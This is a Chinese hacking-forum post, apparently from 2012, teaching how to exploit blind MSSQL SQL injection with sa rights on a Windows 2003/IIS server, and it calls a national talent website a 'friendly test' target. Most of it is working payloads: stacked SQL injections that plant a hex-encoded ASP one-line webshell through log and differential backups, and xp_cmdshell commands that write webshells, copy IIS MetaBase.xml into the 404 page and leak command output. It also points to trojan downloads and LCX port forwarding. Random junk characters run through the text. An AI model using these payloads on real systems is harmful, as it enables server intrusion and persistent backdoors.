找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2463|回复: 0
打印 上一主题 下一主题

sa权限的教程.

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:30:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————1 d, U& |& O. }: q
# @' M5 L3 O- N8 k6 R

# F" T6 h' r9 s                                                             欢迎高手访问指导,欢迎新手朋友交流学习。
" O. O8 O! \3 I- J# v* B8 D: S3 W/ Z! I9 h! p" t
                                                                 + H4 i  `; p& L; Z6 Z+ |
                                                                 , a# X3 z. `: v0 `0 e" y
                                                                  论坛: http://www.90team.net/! A: r: @* j( F1 ~% c4 I2 X

0 K5 x' i. c) f
+ S. b! Q  Q& I1 _" `/ Z, U
  a; m$ E( j3 R4 u& G4 |/ X友情检测国家人才网
  e9 ?1 g% ^7 x- J7 K
( _/ P' u+ f  z/ \! }" ?2 j3 I" T6 J5 L3 a& _+ O
内容:MSSQL注入SA权限不显错模式下的入侵
# \, W, m5 s. [3 d7 V- B  x9 m! p: w8 m% e) F+ K

7 U. l: s  k" i. Z# N4 z8 k1 O+ `一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。
7 @0 F& i1 Y4 T4 r8 g" D0 m. C
) ?( e5 b: q7 D9 w4 g我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。( Q3 y2 [! e8 D; d2 k' e( H8 y- [  @

# O* G6 q4 o) \. t$ W; j! U, \1 l# L' g. V1 B
这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
" g8 ^" P; c- O1 ?$ M, v! a1 {, o' g/ O. U) I1 |  l3 Q& \; G3 y
思路:+ F  I( c5 ]: C! u

3 |2 H4 |" z' J% H首先:1 k) O' V4 M& j. W$ n1 ]7 y+ B

0 v/ h) [9 k  T# c通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。
& F# |: h& ]* Q1 Q: F7 \0 N. p+ i' e7 j) Z* [
1.日志备份获得Webshell
) L6 d( b  z( M+ j9 r' @: X
9 _) @% T, C+ l1 `2.数据库差异备份获得Webshell
, R& K$ ?9 [0 Q8 o% q7 R% @$ Y! @! z( c  y6 l, j! I( P7 s4 E
4.直接下载免杀远控木马。+ j; |! q  d( C$ `
+ {2 k) O% `  {- N3 Z0 E
5.直接下载LCX将服务器端口转发出来) v4 ?1 ^3 L+ ~
2 J4 ^% ~* D* \6 g
6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。. ~1 ]/ K8 G# @, k# A2 e- Z$ \

; _( d. g# [- ]' @/ f5 [- L! N! \! h: {) y( Y# [6 r  m3 V4 _0 N
, k# M" M% D. t8 _& S" n! E
在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了, 7 M& K2 n4 _4 o0 a/ k6 i7 G* ~4 q
5 c( T3 H7 S7 v4 W2 R+ `/ A
我直接演示后面一个方法
4 z" ?  H- z% W* X5 E# W- H
& X" f: q6 V. \
( R1 i& q" h1 @% Z1 x6 n+ a0 u分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
- S' c; _1 p+ S2 f, n7 V; B, G2 J4 @( A. q# G

  q4 d$ p, A: U5 x2 ^; D5 }5 x
" ]( _4 ]& ]& j: D. h. N
/ T1 n4 G) x2 T% d◆日志备份:7 k  Q! U4 i' n. Q  T* `+ X

1 J3 G, e3 L  n6 G. U9 A+ I/ \, H9 y( z! v2 z' N) B
1. 进行初始备份
2 U* J" A8 {+ h! h/ R) S% I; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
; h5 j" n6 ^+ g  W/ F; b7 K3 t5 x. q  A/ A' _" Z3 m# I
2. 插入数据
. G, @& P& ]8 K" f& p2 T;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--+ A8 u( G8 x2 e

  b4 C+ ?2 ]' Q2 d" w4 V0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
1 T8 b, c0 l) {( g# ^; C9 W0 J  5 k2 G# W1 {+ R) s! ?
3. 备份并获得文件,删除临时表
$ y7 x1 m" s  e* r$ b;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
- B. E; j2 M+ I  w! M; k5 E
4 S3 E! V2 y0 d, G  j8 p( `6 L* o* F# P  {; L

/ z  M, |* h& ~, E+ @. Y& ^! Q' n◆数据库差异备份
! e1 e2 X% i4 h% x, K3 L/ N' d0 f9 f5 l" S8 y
(1. 进行差异备份准备工作
! w" Y, A: F, o: |4 O
( {! }8 S: s4 E/ ]/ v& Y( ?) U;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--( {3 d( ?+ I" V% M/ J- {5 |

1 F: Y! G$ j- Z! J& a0 s上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码. U9 ~8 `/ K8 C$ o7 m6 Y
4 I0 _* l2 P. E0 \/ Q
$ w' d" _! X' [* I' S5 E
(2. 将数据写入到数据库
( D7 I' D4 X% s;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)-- ( ?% y/ \5 `& U- _
" t( J$ }5 N5 D# o& q" t) y
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
+ D7 A, Z0 B) ?( z" W& {% M8 ~& s4 v/ |! q
3. 备份数据库并清理临时文件
+ R5 M) C& E  }& H' l( Y7 ~
: q0 ]0 v6 h; l$ J. L8 B;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
- n7 c/ @6 c  `, @( |% N" V; U* N1 p
+ ]# u' X' d2 U% v: ^+ J0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
7 y9 J/ E) p) a% R9 r& N; h. h
; @0 O- J( i) t8 i+ V1 Q3 F
+ @% E, x) |3 f* U% N. ^5 N6 t* q' ^. G9 G
用^转义字符来写ASP(一句话木马)文件的方法:   . l( Y/ n8 W, N/ e) k0 T- g
* x* ]8 v; |; i) \& M
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--( V3 ~8 \# V( `0 E) ~/ b
: Z  V: P6 U5 X- W* M: v- U
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
$ {  y. j# {$ y! ]- F# M$ O( t4 `) a! s5 V2 _) L0 a
读取IIS配置信息获取web路径( Q, T' Z4 Z% _

# k$ m8 V  }( [     
# W, I8 i, q6 y+ f( X5 J     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--4 m# O0 [$ H/ b. c1 r8 h( U

7 [$ _& u2 L. [; p% \; ]执行命令
, k) t/ Y. F" U& ^7 W9 a     , Q( [+ d0 d1 `
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--- k. [' Q- T4 H0 e4 u

6 W3 ^2 _5 b! Q  l7 _) v( |8 j( U
9 d' [% H3 M6 t+ J

* |3 X: E7 ^' m, \0 Y7 p( D  r5 u" Q  [% d; Z: r

* v; T# O5 r' t9 x7 l6 c/ W* P
; e1 V# Q1 E, @" r8 X5 f# e, v+ V& Q' c0 |

6 ]  ?# c6 ]; k+ f. t, ]  V; |8 R5 [9 |( {+ Z
4 k% ?5 Z0 E0 N$ ]" f5 s7 n

+ k$ |' M, T1 h7 @+ M; X: x. g3 M3 s4 I
2 A9 V5 ?- K6 x- x
( t! [! G( c( H8 c& T

/ \* V% R+ |  M0 D" \5 \4 L! L& }3 z$ d# t& w) V3 N6 E

* p  h( N* A  w2 }8 p" F9 e& z
# l$ F+ |9 F( f7 b/ e/ O4 t7 D6 A- G; V' X6 F  w$ x

- Y' R) N9 e: w% v$ v' s8 b3 P& L
) A1 a+ G0 Q1 L% C; {5 t+ Z# N" u0 D- i/ E" ]" g
" V7 g# X2 J2 Z$ P
7 y  z, J; Y* l  V& t/ V
5 I7 K5 @6 E9 e4 h: @

0 W6 S" L; ]' h' h2 o* R9 M4 F( \
; Z5 {" s0 b. L  g3 s% g3 B# O1 E2 z5 J4 l
) p( ^3 ?/ K: Q+ U

" @7 D: B& F3 P% K9 u
, G4 I- p% {1 V" y
. z: u1 m; r& d9 T' n* r9 y7 i6 _: v3 r+ E  W

# ~) L: T2 Z, d: S, O8 ?# b! u1 w8 V! N; D% \

1 g& v7 V5 y$ b- n* Y7 b0 E. z

2 I* U, h& n+ f0 o" E) h1 l3 m4 F" l( v

' n+ i& A4 t4 V% U7 D
# N7 e& E2 l$ Y/ W9 x; u
# j3 i$ Q: t, i6 o! [& Z' G& \, i
9 ~3 f) ]( f; b6 q- N" W/ o) b1 f( {, p4 T" ?

; j+ S7 H# o' V% A) p* C1 G, \
9 U  M! L8 M  K/ g: a- H& _+ Q& s5 F+ v) [7 `* a% o# K* U8 [0 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表